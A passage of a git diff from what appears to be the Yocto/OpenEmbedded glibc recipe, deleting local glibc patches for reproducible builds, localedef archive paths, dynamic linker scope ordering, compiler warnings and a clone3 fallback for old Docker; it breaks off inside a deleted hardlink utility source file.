+check_me 42, p 0x7ffe253c6f20
+
+Upstream-Status: Inappropriate [Rejected by upstream]
+
+Upstream glibc rejected it because the latest docker has resolved the issue [1],
+and upstream glibc does not backward compatibility with old docker[2]
+
+In order to build Yocto with uninative in old docker, we need this local
+patch
+
+[1] https://github.com/moby/moby/commit/9f6b562dd12ef7b1f9e2f8e6f2ab6477790a6594
+[2] https://sourceware.org/pipermail/libc-alpha/2021-August/130590.html
+
+Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+---
+ sysdeps/unix/sysv/linux/clone-internal.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/sysdeps/unix/sysv/linux/clone-internal.c b/sysdeps/unix/sysv/linux/clone-internal.c
+index a71effcbd3..a0569113aa 100644
+--- a/sysdeps/unix/sysv/linux/clone-internal.c
++++ b/sysdeps/unix/sysv/linux/clone-internal.c
+@@ -52,7 +52,7 @@ __clone_internal (struct clone_args *cl_args,
+ /* Try clone3 first. */
+ int saved_errno = errno;
+ ret = __clone3 (cl_args, sizeof (*cl_args), func, arg);
+- if (ret != -1 || errno != ENOSYS)
++ if (ret != -1 || (errno != ENOSYS && errno != EPERM))
+ return ret;
+
+ /* NB: Restore errno since errno may be checked against non-zero
+--
+2.27.0
+
diff --git a/meta/recipes-core/glibc/glibc/0024-localedef-add-to-archive-uses-a-hard-coded-locale-pa.patch b/meta/recipes-core/glibc/glibc/0024-localedef-add-to-archive-uses-a-hard-coded-locale-pa.patch
deleted file mode 100644
index f68e4f4fa6..0000000000
--- a/meta/recipes-core/glibc/glibc/0024-localedef-add-to-archive-uses-a-hard-coded-locale-pa.patch
+++ /dev/null
@@ -1,84 +0,0 @@
-From c13e18adb634a6fd59129150ab7f9468f64dc931 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 3 Aug 2018 09:42:06 -0700
-Subject: [PATCH 24/28] localedef --add-to-archive uses a hard-coded locale
- path
-
-it doesn't exist in normal use, and there's no way to pass an
-alternative filename.
-
-Add a fallback of $LOCALEARCHIVE from the environment, and allow
-creation of new locale archives that are not the system archive.
-
-Upstream-Status: Inappropriate (OE-specific)
-
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- locale/programs/locarchive.c | 35 +++++++++++++++++++++++++----------
- 1 file changed, 25 insertions(+), 10 deletions(-)
-
-diff --git a/locale/programs/locarchive.c b/locale/programs/locarchive.c
-index e6310b18be..f54a76eade 100644
---- a/locale/programs/locarchive.c
-+++ b/locale/programs/locarchive.c
-@@ -340,12 +340,24 @@ enlarge_archive (struct locarhandle *ah, const struct locarhead *head)
- struct namehashent *oldnamehashtab;
- struct locarhandle new_ah;
- size_t prefix_len = output_prefix ? strlen (output_prefix) : 0;
-- char archivefname[prefix_len + sizeof (ARCHIVE_NAME)];
-- char fname[prefix_len + sizeof (ARCHIVE_NAME) + sizeof (".XXXXXX") - 1];
-+ char *archivefname;
-+ char *fname;
-+ char *envarchive = getenv("LOCALEARCHIVE");
-
-- if (output_prefix)
-- memcpy (archivefname, output_prefix, prefix_len);
-- strcpy (archivefname + prefix_len, ARCHIVE_NAME);
-+ if (envarchive != NULL)
-+ {
-+ archivefname = xmalloc(strlen(envarchive) + 1);
-+ fname = xmalloc(strlen(envarchive) + sizeof (".XXXXXX"));
-+ strcpy (archivefname, envarchive);
-+ }
-+ else
-+ {
-+ archivefname = xmalloc(prefix_len + sizeof (ARCHIVE_NAME));
-+ fname = xmalloc(prefix_len + sizeof (ARCHIVE_NAME) + sizeof (".XXXXXX") - 1);
-+ if (output_prefix)
-+ memcpy (archivefname, output_prefix, prefix_len);
-+ strcpy (archivefname + prefix_len, ARCHIVE_NAME);
-+ }
- strcpy (stpcpy (fname, archivefname), ".XXXXXX");
-
- /* Not all of the old file has to be mapped. Change this now this
-@@ -569,10 +581,13 @@ open_archive (struct locarhandle *ah, bool readonly)
- /* If ah has a non-NULL fname open that otherwise open the default. */
- if (archivefname == NULL)
- {
-- archivefname = default_fname;
-- if (output_prefix)
-- memcpy (default_fname, output_prefix, prefix_len);
-- strcpy (default_fname + prefix_len, ARCHIVE_NAME);
-+ archivefname = getenv("LOCALEARCHIVE");
-+ if (archivefname == NULL) {
-+ archivefname = default_fname;
-+ if (output_prefix)
-+ memcpy (default_fname, output_prefix, prefix_len);
-+ strcpy (default_fname + prefix_len, ARCHIVE_NAME);
-+ }
- }
-
- while (1)
-@@ -585,7 +600,7 @@ open_archive (struct locarhandle *ah, bool readonly)
- the default locale archive we ignore the failure and
- list an empty archive, otherwise we print an error
- and exit. */
-- if (errno == ENOENT && archivefname == default_fname)
-+ if (errno == ENOENT)
- {
- if (readonly)
- {
---
-2.22.0
-
diff --git a/meta/recipes-core/glibc/glibc/0025-elf-dl-deps.c-Make-_dl_build_local_scope-breadth-fir.patch b/meta/recipes-core/glibc/glibc/0025-elf-dl-deps.c-Make-_dl_build_local_scope-breadth-fir.patch
deleted file mode 100644
index 76a9eb2563..0000000000
--- a/meta/recipes-core/glibc/glibc/0025-elf-dl-deps.c-Make-_dl_build_local_scope-breadth-fir.patch
+++ /dev/null
@@ -1,56 +0,0 @@
-From 7c9ebe966bb97dd14de5719905b61311211ae3c8 Mon Sep 17 00:00:00 2001
-From: Mark Hatle <mark.hatle@windriver.com>
-Date: Thu, 18 Aug 2016 14:07:58 -0500
-Subject: [PATCH 25/28] elf/dl-deps.c: Make _dl_build_local_scope breadth first
-
-According to the ELF specification:
-
-When resolving symbolic references, the dynamic linker examines the symbol
-tables with a breadth-first search.
-
-This function was using a depth first search. By doing so the conflict
-resolution reported to the prelinker (when LD_TRACE_PRELINKING=1 is set)
-was incorrect. This caused problems when their were various circular
-dependencies between libraries. The problem usually manifested itself by
-the wrong IFUNC being executed.
-
-[BZ# 20488]
-
-Upstream-Status: Submitted [libc-alpha]
-
-Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
----
- elf/dl-deps.c | 14 ++++++++++----
- 1 file changed, 10 insertions(+), 4 deletions(-)
-
-diff --git a/elf/dl-deps.c b/elf/dl-deps.c
-index e12c353158..9234daac05 100644
---- a/elf/dl-deps.c
-+++ b/elf/dl-deps.c
-@@ -73,13 +73,19 @@ _dl_build_local_scope (struct link_map **list, struct link_map *map)
- {
- struct link_map **p = list;
- struct link_map **q;
-+ struct link_map **r;
-
- *p++ = map;
- map->l_reserved = 1;
-- if (map->l_initfini)
-- for (q = map->l_initfini + 1; *q; ++q)
-- if (! (*q)->l_reserved)
-- p += _dl_build_local_scope (p, *q);
-+
-+ for (r = list; r < p; ++r)
-+ if ((*r)->l_initfini)
-+ for (q = (*r)->l_initfini + 1; *q; ++q)
-+ if (! (*q)->l_reserved)
-+ {
-+ *p++ = *q;
-+ (*q)->l_reserved = 1;
-+ }
- return p - list;
- }
-
---
-2.22.0
-
diff --git a/meta/recipes-core/glibc/glibc/0026-intl-Emit-no-lines-in-bison-generated-files.patch b/meta/recipes-core/glibc/glibc/0026-intl-Emit-no-lines-in-bison-generated-files.patch
deleted file mode 100644
index 7589e11d57..0000000000
--- a/meta/recipes-core/glibc/glibc/0026-intl-Emit-no-lines-in-bison-generated-files.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From aa5c758fbb7dbb026df33fc6bdc05548547bdb17 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 3 Aug 2018 09:44:00 -0700
-Subject: [PATCH 26/28] intl: Emit no lines in bison generated files
-
-Improve reproducibility:
-Do not put any #line preprocessor commands in bison generated files.
-These lines contain absolute paths containing file locations on
-the host build machine.
-
-Upstream-Status: Pending
-
-Signed-off-by: Juro Bystricky <juro.bystricky@intel.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- intl/Makefile | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/intl/Makefile b/intl/Makefile
-index 9eea8d57e3..627dce4cf1 100644
---- a/intl/Makefile
-+++ b/intl/Makefile
-@@ -155,7 +155,7 @@ $(objpfx)tst-gettext6.out: $(objpfx)tst-gettext.out
-
- CPPFLAGS += -D'LOCALEDIR="$(localedir)"' \
- -D'LOCALE_ALIAS_PATH="$(localedir)"'
--BISONFLAGS = --yacc --name-prefix=__gettext --output
-+BISONFLAGS = --yacc --no-lines --name-prefix=__gettext --output
-
- $(inst_localedir)/locale.alias: locale.alias $(+force)
- $(do-install)
---
-2.22.0
-
diff --git a/meta/recipes-core/glibc/glibc/0027-inject-file-assembly-directives.patch b/meta/recipes-core/glibc/glibc/0027-inject-file-assembly-directives.patch
deleted file mode 100644
index dc205a833f..0000000000
--- a/meta/recipes-core/glibc/glibc/0027-inject-file-assembly-directives.patch
+++ /dev/null
@@ -1,304 +0,0 @@
-From fecd98040a2ae1bc5943a40a1623d76a696e0785 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 29 Nov 2018 17:29:35 -0800
-Subject: [PATCH 27/28] inject file assembly directives
-
-Currently, non-IA builds are not reproducibile since build paths are
-being injected into the debug symbols. These are coming from the use of
-.S assembler files during the glibc build. No STT_FILE section is added
-during the assembly but when linking, ld decides to add one to aid
-debugging and ensure references between the different object files its
-linking remain clear.
-
-We can avoid this by injecting a file header into the assembler files
-ahead of time, choosing a filename which does not contain build system
-paths.
-
-This is a bit of a workaround/hack but does significantly reduce the
-build system references in target binaries for the non-IA architectures
-which use .S files.
-
-RP
-2018/10/3
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- csu/abi-note.S | 2 ++
- sysdeps/aarch64/crti.S | 2 ++
- sysdeps/aarch64/crtn.S | 2 ++
- sysdeps/aarch64/dl-tlsdesc.S | 2 ++
- sysdeps/aarch64/dl-trampoline.S | 2 ++
- sysdeps/aarch64/start.S | 2 ++
- sysdeps/arm/abi-note.S | 2 ++
- sysdeps/arm/crti.S | 2 ++
- sysdeps/arm/crtn.S | 2 ++
- sysdeps/arm/dl-tlsdesc.S | 2 ++
- sysdeps/arm/dl-trampoline.S | 2 ++
- sysdeps/arm/start.S | 2 ++
- sysdeps/mips/start.S | 2 ++
- sysdeps/powerpc/powerpc32/dl-start.S | 2 ++
- sysdeps/powerpc/powerpc32/start.S | 2 ++
- sysdeps/powerpc/powerpc64/start.S | 2 ++
- sysdeps/unix/sysv/linux/aarch64/__read_tp.S | 2 ++
- sysdeps/unix/sysv/linux/arm/aeabi_read_tp.S | 2 ++
- sysdeps/unix/sysv/linux/arm/libc-do-syscall.S | 2 ++
- sysdeps/unix/sysv/linux/powerpc/dl-brk.S | 2 ++
- 20 files changed, 40 insertions(+)
-
-diff --git a/csu/abi-note.S b/csu/abi-note.S
-index fa1f014a88..098731362a 100644
---- a/csu/abi-note.S
-+++ b/csu/abi-note.S
-@@ -56,6 +56,8 @@ offset length contents
- #include <config.h>
- #include <abi-tag.h> /* OS-specific ABI tag value */
-
-+ .file "abi-note.S"
-+
- /* The linker (GNU ld 2.8 and later) recognizes an allocated section whose
- name begins with `.note' and creates a PT_NOTE program header entry
- pointing at it. */
-diff --git a/sysdeps/aarch64/crti.S b/sysdeps/aarch64/crti.S
-index d4e7dfcf5c..e0218df30c 100644
---- a/sysdeps/aarch64/crti.S
-+++ b/sysdeps/aarch64/crti.S
-@@ -50,6 +50,8 @@
- # define PREINIT_FUNCTION_WEAK 1
- #endif
-
-+ .file "crti.S"
-+
- #if PREINIT_FUNCTION_WEAK
- weak_extern (PREINIT_FUNCTION)
- #else
-diff --git a/sysdeps/aarch64/crtn.S b/sysdeps/aarch64/crtn.S
-index 363f752460..2fb06fba62 100644
---- a/sysdeps/aarch64/crtn.S
-+++ b/sysdeps/aarch64/crtn.S
-@@ -37,6 +37,8 @@
- /* crtn.S puts function epilogues in the .init and .fini sections
- corresponding to the prologues in crti.S. */
-
-+ .file "crtn.S"
-+
- .section .init,"ax",%progbits
- ldp x29, x30, [sp], 16
- RET
-diff --git a/sysdeps/aarch64/dl-tlsdesc.S b/sysdeps/aarch64/dl-tlsdesc.S
-index 4abe6b82a3..8c44b2ff8a 100644
---- a/sysdeps/aarch64/dl-tlsdesc.S
-+++ b/sysdeps/aarch64/dl-tlsdesc.S
-@@ -22,6 +22,8 @@
- #include <tls.h>
- #include "tlsdesc.h"
-
-+ .file "dl-tlsdesc.S"
-+
- #define NSAVEDQREGPAIRS 16
- #define SAVE_Q_REGISTERS \
- stp q0, q1, [sp, #-32*NSAVEDQREGPAIRS]!; \
-diff --git a/sysdeps/aarch64/dl-trampoline.S b/sysdeps/aarch64/dl-trampoline.S
-index 19b117e8f9..38c78b5409 100644
---- a/sysdeps/aarch64/dl-trampoline.S
-+++ b/sysdeps/aarch64/dl-trampoline.S
-@@ -21,6 +21,8 @@
-
- #include "dl-link.h"
-
-+ .file "dl-trampoline.S"
-+
- #define ip0 x16
- #define ip0l PTR_REG (16)
- #define ip1 x17
-diff --git a/sysdeps/aarch64/start.S b/sysdeps/aarch64/start.S
-index f5e9b9c223..ae3e22a6a5 100644
---- a/sysdeps/aarch64/start.S
-+++ b/sysdeps/aarch64/start.S
-@@ -18,6 +18,8 @@
-
- #include <sysdep.h>
-
-+ .file "start.S"
-+
- /* This is the canonical entry point, usually the first thing in the text
- segment.
-
-diff --git a/sysdeps/arm/abi-note.S b/sysdeps/arm/abi-note.S
-index 07bd4c4619..7213b16f27 100644
---- a/sysdeps/arm/abi-note.S
-+++ b/sysdeps/arm/abi-note.S
-@@ -1,3 +1,5 @@
-+ .file "abi-note.S"
-+
- /* Tag_ABI_align8_preserved: This code preserves 8-byte
- alignment in any callee. */
- .eabi_attribute 25, 1
-diff --git a/sysdeps/arm/crti.S b/sysdeps/arm/crti.S
-index 26dbba66a3..dd84ecd566 100644
---- a/sysdeps/arm/crti.S
-+++ b/sysdeps/arm/crti.S
-@@ -57,6 +57,8 @@
- .hidden PREINIT_FUNCTION
- #endif
-
-+ .file "crti.S"
-+
- #if PREINIT_FUNCTION_WEAK
- .p2align 2
- .type call_weak_fn, %function
-diff --git a/sysdeps/arm/crtn.S b/sysdeps/arm/crtn.S
-index 8f91c8d88b..a87fe49e07 100644
---- a/sysdeps/arm/crtn.S
-+++ b/sysdeps/arm/crtn.S
-@@ -37,6 +37,8 @@
- #define NO_THUMB
- #include <sysdep.h>
-
-+ .file "crtn.S"
-+
- /* crtn.S puts function epilogues in the .init and .fini sections
- corresponding to the prologues in crti.S. */
-
-diff --git a/sysdeps/arm/dl-tlsdesc.S b/sysdeps/arm/dl-tlsdesc.S
-index a929340b42..b724c9776d 100644
---- a/sysdeps/arm/dl-tlsdesc.S
-+++ b/sysdeps/arm/dl-tlsdesc.S
-@@ -21,6 +21,8 @@
- #include <tls.h>
- #include "tlsdesc.h"
-
-+ .file "dl-tlsdesc.S"
-+
- .text
- @ emit debug information with cfi
- @ use arm-specific pseudos for unwinding itself
-diff --git a/sysdeps/arm/dl-trampoline.S b/sysdeps/arm/dl-trampoline.S
-index 325cfcd2ce..4bfdcbce51 100644
---- a/sysdeps/arm/dl-trampoline.S
-+++ b/sysdeps/arm/dl-trampoline.S
-@@ -21,6 +21,8 @@
- #include <sysdep.h>
- #include <libc-symbols.h>
-
-+ .file "dl-trampoline.S"
-+
- .text
- .globl _dl_runtime_resolve
- .type _dl_runtime_resolve, #function
-diff --git a/sysdeps/arm/start.S b/sysdeps/arm/start.S
-index a05f8a4651..2f4374fcaa 100644
---- a/sysdeps/arm/start.S
-+++ b/sysdeps/arm/start.S
-@@ -57,6 +57,8 @@
- NULL
- */
-
-+ .file "start.S"
-+
- /* Tag_ABI_align8_preserved: This code preserves 8-byte
- alignment in any callee. */
- .eabi_attribute 25, 1
-diff --git a/sysdeps/mips/start.S b/sysdeps/mips/start.S
-index 8638e5b545..93f6564aec 100644
---- a/sysdeps/mips/start.S
-+++ b/sysdeps/mips/start.S
-@@ -38,6 +38,8 @@
- #include <sgidefs.h>
- #include <sys/asm.h>
-
-+ .file "start.S"
-+
- #ifndef ENTRY_POINT
- #error ENTRY_POINT needs to be defined for start.S on MIPS/ELF.
- #endif
-diff --git a/sysdeps/powerpc/powerpc32/dl-start.S b/sysdeps/powerpc/powerpc32/dl-start.S
-index 99a10d643a..e47fc0d245 100644
---- a/sysdeps/powerpc/powerpc32/dl-start.S
-+++ b/sysdeps/powerpc/powerpc32/dl-start.S
-@@ -18,6 +18,8 @@
-
- #include <sysdep.h>
-
-+ .file "dl-start.S"
-+
- /* Initial entry point code for the dynamic linker.
- The C function `_dl_start' is the real entry point;
- its return value is the user program's entry point. */
-diff --git a/sysdeps/powerpc/powerpc32/start.S b/sysdeps/powerpc/powerpc32/start.S
-index 172fb5a56b..ef1471b861 100644
---- a/sysdeps/powerpc/powerpc32/start.S
-+++ b/sysdeps/powerpc/powerpc32/start.S
-@@ -35,6 +35,8 @@
-
- #include <sysdep.h>
-
-+ .file "start.S"
-+
- /* We do not want .eh_frame info for crt1.o since crt1.o is linked
- before crtbegin.o, the file defining __EH_FRAME_BEGIN__. */
- #undef cfi_startproc
-diff --git a/sysdeps/powerpc/powerpc64/start.S b/sysdeps/powerpc/powerpc64/start.S
-index 55fae68ad6..0cb608fe0f 100644
---- a/sysdeps/powerpc/powerpc64/start.S
-+++ b/sysdeps/powerpc/powerpc64/start.S
-@@ -35,6 +35,8 @@
-
- #include <sysdep.h>
-
-+ .file "start.S"
-+
- /* We do not want .eh_frame info for crt1.o since crt1.o is linked
- before crtbegin.o, the file defining __EH_FRAME_BEGIN__. */
- #undef cfi_startproc
-diff --git a/sysdeps/unix/sysv/linux/aarch64/__read_tp.S b/sysdeps/unix/sysv/linux/aarch64/__read_tp.S
-index 30a29b9fb0..07892b383f 100644
---- a/sysdeps/unix/sysv/linux/aarch64/__read_tp.S
-+++ b/sysdeps/unix/sysv/linux/aarch64/__read_tp.S
-@@ -18,6 +18,8 @@
-
- #include <sysdep.h>
-
-+ .file "__read_tp.S"
-+
- .hidden __read_tp
- ENTRY (__read_tp)
- mrs x0, tpidr_el0
-diff --git a/sysdeps/unix/sysv/linux/arm/aeabi_read_tp.S b/sysdeps/unix/sysv/linux/arm/aeabi_read_tp.S
-index f64c4ffe8a..2da315ab08 100644
---- a/sysdeps/unix/sysv/linux/arm/aeabi_read_tp.S
-+++ b/sysdeps/unix/sysv/linux/arm/aeabi_read_tp.S
-@@ -39,6 +39,8 @@
- a normal function call) in a high page of memory; tail call to the
- helper. */
-
-+ .file "aeabi_read_tp.S"
-+
- .hidden __aeabi_read_tp
- ENTRY (__aeabi_read_tp)
- #ifdef ARCH_HAS_HARD_TP
-diff --git a/sysdeps/unix/sysv/linux/arm/libc-do-syscall.S b/sysdeps/unix/sysv/linux/arm/libc-do-syscall.S
-index 0b6237ac55..8cda491c28 100644
---- a/sysdeps/unix/sysv/linux/arm/libc-do-syscall.S
-+++ b/sysdeps/unix/sysv/linux/arm/libc-do-syscall.S
-@@ -27,6 +27,8 @@
- ARM unwind tables for register to register moves, the actual opcodes
- are not defined. */
-
-+ .file "libc-do-syscall.S"
-+
- #if defined(__thumb__)
- .thumb
- .syntax unified
-diff --git a/sysdeps/unix/sysv/linux/powerpc/dl-brk.S b/sysdeps/unix/sysv/linux/powerpc/dl-brk.S
-index eeb96544e3..da182b28f8 100644
---- a/sysdeps/unix/sysv/linux/powerpc/dl-brk.S
-+++ b/sysdeps/unix/sysv/linux/powerpc/dl-brk.S
-@@ -1 +1,3 @@
-+ .file "dl-brk.S"
-+
- #include <brk.S>
---
-2.22.0
-
diff --git a/meta/recipes-core/glibc/glibc/0028-locale-prevent-maybe-uninitialized-errors-with-Os-BZ.patch b/meta/recipes-core/glibc/glibc/0028-locale-prevent-maybe-uninitialized-errors-with-Os-BZ.patch
deleted file mode 100644
index 6c49066fd1..0000000000
--- a/meta/recipes-core/glibc/glibc/0028-locale-prevent-maybe-uninitialized-errors-with-Os-BZ.patch
+++ /dev/null
@@ -1,56 +0,0 @@
-From d934788e3221c28c9a1892235cbe4cfd1b28ced0 Mon Sep 17 00:00:00 2001
-From: Martin Jansa <martin.jansa@gmail.com>
-Date: Mon, 17 Dec 2018 21:36:18 +0000
-Subject: [PATCH 28/28] locale: prevent maybe-uninitialized errors with -Os [BZ
- #19444]
-
-Fixes following error when building for aarch64 with -Os:
-| In file included from strcoll_l.c:43:
-| strcoll_l.c: In function '__strcoll_l':
-| ../locale/weight.h:31:26: error: 'seq2.back_us' may be used uninitialized in this function [-Werror=maybe-uninitialized]
-| int_fast32_t i = table[*(*cpp)++];
-| ^~~~~~~~~
-| strcoll_l.c:304:18: note: 'seq2.back_us' was declared here
-| coll_seq seq1, seq2;
-| ^~~~
-| In file included from strcoll_l.c:43:
-| ../locale/weight.h:31:26: error: 'seq1.back_us' may be used uninitialized in this function [-Werror=maybe-uninitialized]
-| int_fast32_t i = table[*(*cpp)++];
-| ^~~~~~~~~
-| strcoll_l.c:304:12: note: 'seq1.back_us' was declared here
-| coll_seq seq1, seq2;
-| ^~~~
-
- Partial fix for [BZ #19444]
- * locale/weight.h: Fix build with -Os.
-
-Upstream-Status: Submitted [https://patchwork.ozlabs.org/patch/1014766]
-
-Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- locale/weight.h | 7 +++++++
- 1 file changed, 7 insertions(+)
-
-diff --git a/locale/weight.h b/locale/weight.h
-index 7ca81498b2..d608ca70bb 100644
---- a/locale/weight.h
-+++ b/locale/weight.h
-@@ -28,7 +28,14 @@ findidx (const int32_t *table,
- const unsigned char *extra,
- const unsigned char **cpp, size_t len)
- {
-+ /* With GCC 8 when compiling with -Os the compiler warns that
-+ seq1.back_us and seq2.back_us might be used uninitialized.
-+ This uninitialized use is impossible for the same reason
-+ as described in comments in locale/weightwc.h. */
-+ DIAG_PUSH_NEEDS_COMMENT;
-+ DIAG_IGNORE_Os_NEEDS_COMMENT (8, "-Wmaybe-uninitialized");
- int_fast32_t i = table[*(*cpp)++];
-+ DIAG_POP_NEEDS_COMMENT;
- const unsigned char *cp;
- const unsigned char *usrc;
-
---
-2.22.0
-
diff --git a/meta/recipes-core/glibc/glibc/add-cross-localedef-hardlink.patch b/meta/recipes-core/glibc/glibc/add-cross-localedef-hardlink.patch
deleted file mode 100644
index 8471121949..0000000000
--- a/meta/recipes-core/glibc/glibc/add-cross-localedef-hardlink.patch
+++ /dev/null
@@ -1,1115 +0,0 @@
----
- locale/programs/c.h | 407 ++++++++++++++++++++++
- locale/programs/cross-localedef-hardlink.c | 528 +++++++++++++++++++++++++++++
- locale/programs/xalloc.h | 129 +++++++
- localedef/Makefile.in | 8
- 4 files changed, 1071 insertions(+), 1 deletion(-)
-
---- /dev/null
-+++ b/locale/programs/cross-localedef-hardlink.c
-@@ -0,0 +1,528 @@
-+/*
-+ * hardlink - consolidate duplicate files via hardlinks
-+ *
-+ * Copyright (C) 2018 Red Hat, Inc. All rights reserved.
-+ * Written by Jakub Jelinek <jakub@redhat.com>
-+ *
-+ * Copyright (C) 2019 Karel Zak <kzak@redhat.com>
-+ *
-+ * This program is free software; you can redistribute it and/or modify
-+ * it under the terms of the GNU General Public License as published by
-+ * the Free Software Foundation; either version 2 of the License, or
-+ * (at your option) any later version.
-+ *
-+ * This program is distributed in the hope that it would be useful,
-+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-+ * GNU General Public License for more details.
-+ *
-+ * You should have received a copy of the GNU General Public License along
-+ * with this program; if not, write to the Free Software Foundation, Inc.,
-+ * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-+ */
-+#include <sys/types.h>
-+#include <stdlib.h>
-+#include <getopt.h>
-+#include <stdio.h>
-+#include <unistd.h>
-+#include <sys/stat.h>
-+#include <sys/mman.h>
-+#include <string.h>
-+#include <dirent.h>
-+#include <fcntl.h>
-+#include <errno.h>
-+#ifdef HAVE_PCRE
-+# define PCRE2_CODE_UNIT_WIDTH 8
-+# include <pcre2.h>
-+#endif
-+
-+#include "c.h"
-+#include "xalloc.h"
-+#include "nls.h"
-+#include "closestream.h"
-+
-+#define NHASH (1<<17) /* Must be a power of 2! */
-+#define NBUF 64
-+
-+struct hardlink_file;
-+
-+struct hardlink_hash {
-+ struct hardlink_hash *next;
-+ struct hardlink_file *chain;
-+ off_t size;
-+ time_t mtime;
-+};
-+
-+struct hardlink_dir {
-+ struct hardlink_dir *next;
-+ char name[];
-+};
-+
-+struct hardlink_file {
-+ struct hardlink_file *next;
-+ ino_t ino;
-+ dev_t dev;
-+ unsigned int cksum;
-+ char name[];
-+};
-+
-+struct hardlink_dynstr {
-+ char *buf;
-+ size_t alloc;
-+};
-+
-+struct hardlink_ctl {
-+ struct hardlink_dir *dirs;
-+ struct hardlink_hash *hps[NHASH];
-+ char iobuf1[BUFSIZ];
-+ char iobuf2[BUFSIZ];
-+ /* summary counters */
-+ unsigned long long ndirs;
-+ unsigned long long nobjects;
-+ unsigned long long nregfiles;
-+ unsigned long long ncomp;
-+ unsigned long long nlinks;
-+ unsigned long long nsaved;
-+ /* current device */
-+ dev_t dev;
-+ /* flags */
-+ unsigned int verbose;
-+ unsigned int
-+ no_link:1,
-+ content_only:1,
-+ force:1;
-+};
-+/* ctl is in global scope due use in atexit() */
-+struct hardlink_ctl global_ctl;
-+
-+__attribute__ ((always_inline))
-+static inline unsigned int hash(off_t size, time_t mtime)
-+{
-+ return (size ^ mtime) & (NHASH - 1);
-+}
-+
-+__attribute__ ((always_inline))
-+static inline int stcmp(struct stat *st1, struct stat *st2, int content_scope)
-+{
-+ if (content_scope)
-+ return st1->st_size != st2->st_size;
-+
-+ return st1->st_mode != st2->st_mode
-+ || st1->st_uid != st2->st_uid
-+ || st1->st_gid != st2->st_gid
-+ || st1->st_size != st2->st_size
-+ || st1->st_mtime != st2->st_mtime;
-+}
-+
-+static void print_summary(void)
-+{
-+ struct hardlink_ctl const *const ctl = &global_ctl;
-+
-+ if (!ctl->verbose)
-+ return;
-+
-+ if (ctl->verbose > 1 && ctl->nlinks)
-+ fputc('\n', stdout);
-+
-+ printf(_("Directories: %9lld\n"), ctl->ndirs);
-+ printf(_("Objects: %9lld\n"), ctl->nobjects);
-+ printf(_("Regular files: %9lld\n"), ctl->nregfiles);
-+ printf(_("Comparisons: %9lld\n"), ctl->ncomp);
-+ printf( "%s%9lld\n", (ctl->no_link ?
-+ _("Would link: ") :
-+ _("Linked: ")), ctl->nlinks);
-+ printf( "%s %9lld\n", (ctl->no_link ?
-+ _("Would save: ") :
-+ _("Saved: ")), ctl->nsaved);
-+}
-+
-+static void __attribute__((__noreturn__)) usage(void)
-+{
-+ fputs(USAGE_HEADER, stdout);
-+ printf(_(" %s [options] directory...\n"), program_invocation_short_name);
-+
-+ fputs(USAGE_SEPARATOR, stdout);
-+ puts(_("Consolidate duplicate files using hardlinks."));
-+
-+ fputs(USAGE_OPTIONS, stdout);
-+ puts(_(" -c, --content compare only contents, ignore permission, etc."));
-+ puts(_(" -n, --dry-run don't actually link anything"));
-+ puts(_(" -v, --verbose print summary after hardlinking"));
-+ puts(_(" -vv print every hardlinked file and summary"));
-+ puts(_(" -f, --force force hardlinking across filesystems"));
-+ puts(_(" -x, --exclude <regex> exclude files matching pattern"));
-+
-+ fputs(USAGE_SEPARATOR, stdout);
-+ printf(USAGE_HELP_OPTIONS(16)); /* char offset to align option descriptions */
-+ printf(USAGE_MAN_TAIL("hardlink(1)"));
-+ exit(EXIT_SUCCESS);
-+}
-+
-+__attribute__ ((always_inline))
-+static inline size_t add2(size_t a, size_t b)
-+{
-+ size_t sum = a + b;
-+
-+ if (sum < a)
-+ errx(EXIT_FAILURE, _("integer overflow"));
-+ return sum;
-+}
-+
-+__attribute__ ((always_inline))
-+static inline size_t add3(size_t a, size_t b, size_t c)
-+{
-+ return add2(add2(a, b), c);
-+}
-+
-+static void growstr(struct hardlink_dynstr *str, size_t newlen)
-+{
-+ if (newlen < str->alloc)
-+ return;
-+ str->buf = xrealloc(str->buf, str->alloc = add2(newlen, 1));
-+}
-+
-+static void process_path(struct hardlink_ctl *ctl, const char *name)
-+{
-+ struct stat st, st2, st3;
-+ const size_t namelen = strlen(name);
-+
-+ ctl->nobjects++;
-+ if (lstat(name, &st))
-+ return;
-+
-+ if (st.st_dev != ctl->dev && !ctl->force) {
-+ if (ctl->dev)
-+ errx(EXIT_FAILURE,
-+ _("%s is on different filesystem than the rest "
-+ "(use -f option to override)."), name);
-+ ctl->dev = st.st_dev;
-+ }
-+ if (S_ISDIR(st.st_mode)) {
-+ struct hardlink_dir *dp = xmalloc(add3(sizeof(*dp), namelen, 1));
-+ memcpy(dp->name, name, namelen + 1);
-+ dp->next = ctl->dirs;
-+ ctl->dirs = dp;
-+
-+ } else if (S_ISREG(st.st_mode)) {
-+ int fd, i;
-+ struct hardlink_file *fp, *fp2;
-+ struct hardlink_hash *hp;
-+ const char *n1, *n2;
-+ unsigned int buf[NBUF];
-+ int cksumsize = sizeof(buf);
-+ unsigned int cksum;
-+ time_t mtime = ctl->content_only ? 0 : st.st_mtime;
-+ unsigned int hsh = hash(st.st_size, mtime);
-+ off_t fsize;
-+
-+ ctl->nregfiles++;
-+ if (ctl->verbose > 1)
-+ printf("%s\n", name);
-+
-+ fd = open(name, O_RDONLY);
-+ if (fd < 0)
-+ return;
-+
-+ if ((size_t)st.st_size < sizeof(buf)) {
-+ cksumsize = st.st_size;
-+ memset(((char *)buf) + cksumsize, 0,
-+ (sizeof(buf) - cksumsize) % sizeof(buf[0]));
-+ }
